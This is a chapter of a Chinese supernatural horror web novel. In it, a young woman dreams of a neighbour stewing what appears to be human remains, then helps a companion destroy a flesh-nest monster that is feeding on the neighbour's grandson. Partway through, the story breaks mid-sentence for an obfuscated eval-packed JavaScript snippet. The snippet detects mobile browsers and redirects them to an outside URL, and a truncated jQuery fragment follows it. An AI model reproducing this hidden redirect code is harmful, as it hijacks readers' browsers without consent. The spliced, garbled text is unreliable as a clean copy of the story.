19. chapter 19
作品:《半夜,目睹凶杀现场,怎么办?》 “喂?!你们这些吃白饭的听到没有?!要是今天不解决这件事,我明天就去闹!看谁耗得过谁!”
“不是……郝大姐啊……”
“谁是你大姐?!别拉近乎!”
“是是是,郝女士,不是不办啊,但是这件事原本就是你家孙子……”
“我不管!要是你们不管,我就去找媒体曝光你们欺负老人小孩!”
“……嘟嘟嘟。”
「这里是哪里?」
时雨睁开眼,却发现自己出现在一个陌生的屋子里,眼前还有一个陌生的女人。
伸出手,却赫然发现自己的手居然是透明的,没有实体,碰不到东西。
她就站在这里,但却无人发现。
这到底是做梦还是灵魂出窍了?
眼前的棕红色卷发大妈喘着粗气,直接挂断了电话,还骂骂咧咧道:“我呸!勾x养的,什么玩意,在这跟我装蒜呢!就知道欺负老娘和我家小宝。”
过了一会,郝大妈突然一拍大腿,“哎呀,我的汤!”
说着便急忙跑进了厨房。
房子的大门和窗户都锁得严严实实。
时雨暂时出不去,见无人看得到自己,便自顾自地转悠起来。
房子里乱糟糟的,什么空瓶子、破罐子就往地上一撒。
一大堆不知道多久没洗的衣服都堆在“沙发”上边,如果这还称得上沙发的话。
唯一算得上干净的,就是放在茶几上的小相框了。
相框里是一个胖胖的小男孩,却也沾上了一抹红色,遮住了整张脸。
环视一圈,这里竟然没有一处可以落脚的地方,只有一块“羊肠小道”供人通行。
外面的天气阴沉沉的。
她伸出头往外一看,不禁感叹道:这梦还挺真实的,外面的景象居然和锦绣小区的布局一模一样。
厨房里传来“嘟嘟嘟”的沸腾声音,郝大妈不知去了多久,还没有出来。
时雨闻不出味道,不知道在炖煮什么,好奇地伸头去望。
她走近厨房,才发现水龙头一直开着,水已经满了出来,流到客厅的地板上。
这水…怎么会掺杂着淡淡的红色?
奇怪?
这里怎么这么安静?
她也听说过小区里有一个“刺头”郝大妈,泼辣刁钻,最疼自家的小孙子。不光自家发出噪音、占用公共区域,还老是投诉其他居民。
但这位“郝大妈”的屋子里,可以说是安静过头了,只有厨房传来窸窸窣窣的细响。
郝大妈就好像听不见水龙头打开的声音一样,只是站在灶台那里,不断搅拌着大炖锅。
“咕嘟咕嘟……”
“哎呀,这颜色炖得正正好,等小宝回来了,一定要让他好好尝尝……”
她将堆在一旁的厨余垃圾直接推到水池子里,也不管那口水池已经再也容纳不下更多东西,只有一大滩血水又涌了出来,不断蔓延。
郝大妈恶狠狠道:“那些小兔崽子就是馋呢!馋我做的饭香!我可不给他们,我要都留给我家小宝吃。”
(嘶溜)
她用一只大勺将锅里的东西捞上来,迫不及待地就放在嘴里啃。
“这小猪爪真香啊!”
那“猪脚”的五根爪子蜷缩起来,被卤水染得黢黑,可任谁看不出来这里面的“勾当”。
“砰砰砰!”一阵砸门声响起来。
“老太婆!你又在搞什么鬼?水都渗下来了!你再不开门我就报警了!你听见没有啊?!”
门外的吵闹声音此起彼伏。
郝大妈拿起一旁砧板上的菜刀,转过身来。
她的眼里全是暗红色的血丝,就像是看到什么有趣的东西一样,脑袋别成九十度,嘴角咧起一个诡异的弧度。
“桀桀桀……小家伙,我找到你啦!”
……
时雨猛地睁开眼,熟悉的房间摆设带来一丝安全感,她的灵魂终于回到了自己的身躯之中。
她努力回想刚刚的场景,却怎么也想不起来最后发生了什么事情,她到底是怎么回来的。
只有“郝大妈”那张“鬼脸”栩栩如生地留存在脑海里。
她还是分辨不出来,那到底是做梦,还是一种暗示。
那真正的郝大妈在哪里呢?
转了一圈也没有熟悉的人可以问到的。
她在小区的人缘不怎么样,其他住户对她的印象仅仅停留在“阴暗家里蹲”,但幸好,她还有一个善于做“群众工作”的表弟。
思来想去,还是打通了这通电话。
“哈喽我亲爱的姐姐!找我有什么指令呀?你表弟我随时待命!”
“……能不能正常点?”时雨额头冒出三条黑线,她想不明白,为什么表弟苏瑞是个社牛,和自己的习性完全相反。
但她还是“逞强”问道:“我想问问,你记不记得我们小区有个姓郝的大妈。”
“额……姐,你说的不会是对面楼那个邪恶老太吧?这个老太可邪性了,你怎么突然问起她来了?”
怎么又是对面楼的?
“应该就是她吧。我想问,你知道她家门牌号吗?”
苏瑞十分了解时雨是个富有想象力和好奇心的行动家,生怕她一个冲动就直接跑过去调查。
“姐,不管你听到什么可疑的消息,我还是想劝你不要和这个邪恶的老太太有过多纠葛,一跟她有什么牵扯,都要被她啃一块肉下来。”
“不管,告诉我她住哪里就行。”
“不是,姐……”
时雨见苏瑞死不松口,只能用点威胁的手段了。“我只是去看看,取取材而已,不会出事的。你要是不告诉我,我就向李哲告发你,告诉他你之前被同事拉去给子酒吧……”
“哎哎哎!姐,你也太不讲武德了吧,别拿你弟的人身幸福开玩笑行不。就在对面楼的2802。”
“行,我到时候去探查一二。”
“姐,你可答应我千万别乱来啊!要是你出了什么事,我可真的会以死谢罪的!”苏瑞虽然一贯喜欢嘴上跑火车,但这话可从来不是唬人的。
“我知道了,我可不会让你这么轻易‘谢罪’。”
……
2802楼上楼下的房屋都空空荡荡,没有人活动的踪迹,只剩下郝大妈这一户。
一走进楼道,时雨便感受到这里的空中飘着一股奇异的味道。
起初很淡,是一股甜腻的劣质香薰味道,混着一股肉脯的腥味。
但这味道就顽固地根植在八楼的走廊和楼梯间里。
2802到了。
门口上贴着一些费用催缴单,但时间也仅限于两周之前,估计是连催缴的工作人员也不愿来这。
到了这里之后就好像失去了生气,只有一片灰败,没有生物愿意踏足这里。
就好像这里的“东西”带着强烈的占有欲和排外性。
门没有关。
轻轻拉开一道缝隙,外面还是白天,但里面昏暗的环境实在看不清楚有什么东西。
但那股甜腻到快要变质的气味,浓烈得令人作呕。
门缝底下,有东西在动。
时雨浑身打了个冷战,缓缓拔出藏在袖子里的匕首。
里面的东西受到光影的刺激,某
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640668|187778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
种粘稠的、暗红色的物体正缓慢地从门内渗出来,在门外的地砖上蔓延开来。
那滩挪动的东西里似乎还沾着一些黑色的毛发,在轻轻颤动。
“噗呲!”
那红色的东西感知到了有人接近,就如狼似虎般扑上来。
这东西居然是活的?!
她立即往后撤,却猛得撞进一个温暖的怀抱。
“嘘。别动。”
迟溯轻轻捂住时雨的眼睛,“别看了好不好,脏了你眼睛怎么办?”
时雨不满地将他的大手拨开,手里依旧紧握着那只匕首。
他将时雨拉到身后,在她的手上戴了一只手表,“这是‘锚点’,可以通讯和检测异常,危险的时候能保你平安。”
她点点头,将表戴好,随后便警惕地望向2802的大门。
那东西遇到迟溯便减缓了速度,只是在原地缓缓蠕动。
打开大门,他手上的锚点发出光芒,照亮了里面的东西。
屋子里面的布局依稀可见,与时雨在梦中看见的样子一般无二。
墙壁和天花板上覆盖着一层厚厚的、半透明的粉色黏膜,似乎是某种生物的内壁,像是有心跳一般在搏动。
客厅的中央伫立着一个人形的东西,那是郝老太吗?
时雨不敢出声询问,跟在迟溯的身后谨慎前行。
凑近一点,才发现客厅里还有一个黏膜形成的“茧”。
巨大的茧里,只露出一张小脸,也足以让时雨认出来,这就是郝老太的孙子。
他双眼紧闭,脸上带着诡异又满足的笑容,但脸颊深深地凹陷进去,气息微弱。
“啪嗒!”大门被带上了,发出明显的声音。
「该死!」
“你们!!!”
郝老太发出尖锐的吼声,干瘪的身子转过来。
时雨这才发现,她的眼眶只剩下两个黑窟窿,嘴巴咧到了耳根,露出细密的尖牙。
“你们也想来抢我的宝贝?!!”
墙壁上瞬间射出数十条触须,顶端还带着吸盘,直直向他们卷过来,这是把他们也当做养料了。
迟溯反应极快,一把推开时雨,一股无形的冲击波波荡开来,将那几道触须震碎,腥臭的粘液四溅。
但触须源源不断,整个“巢穴”都跟活过来一样,朝他们挤压过来。
“破坏那个‘茧’!”迟溯格挡攻击的动作迅猛如电,朝着时雨喊道。
时雨尽力稳定自己的身体,朝那只“茧”走过去。
“茧”的后面伸出一条细细的“脐带”,连接着郝老太,随着“巢穴”的蠕动微微晃动。
时雨眼疾手快、手起刀落,将脐带切断。
“噗嗤”一声闷响,“脐带”断裂,郝老太发出痛苦又愤怒的哀嚎,动作一停滞,包裹那小孩的“茧”也迅速枯萎、剥落。
迟溯抓住机会,趁郝老太分心的时刻,切开了郝老太与墙壁黏膜切开来,将能量化作的刀刃劈进她的心脏里。
“啊啊啊——”郝老太发出最后一声绝望的嘶吼,整个身体连同周围的黏膜开始剧烈抽搐、收缩,最后化为一滩冒着烟的白骨,很快又化为灰尘。
只剩下满屋狼籍和那个小孩。
迟溯喘着气,走到时雨身边,沉默片刻,开口道:“管理局的清理队快到了,我们得离开这里。”
时雨最后看了一眼,就随着迟溯一道离开。
“你……怎么知道我在这里?苏瑞告诉你的?”两人回到熟悉的1602里,时雨忍不住询问道。
迟溯没有答话,只是将时雨狠狠揉进怀里,道:“别走了,好不好?”

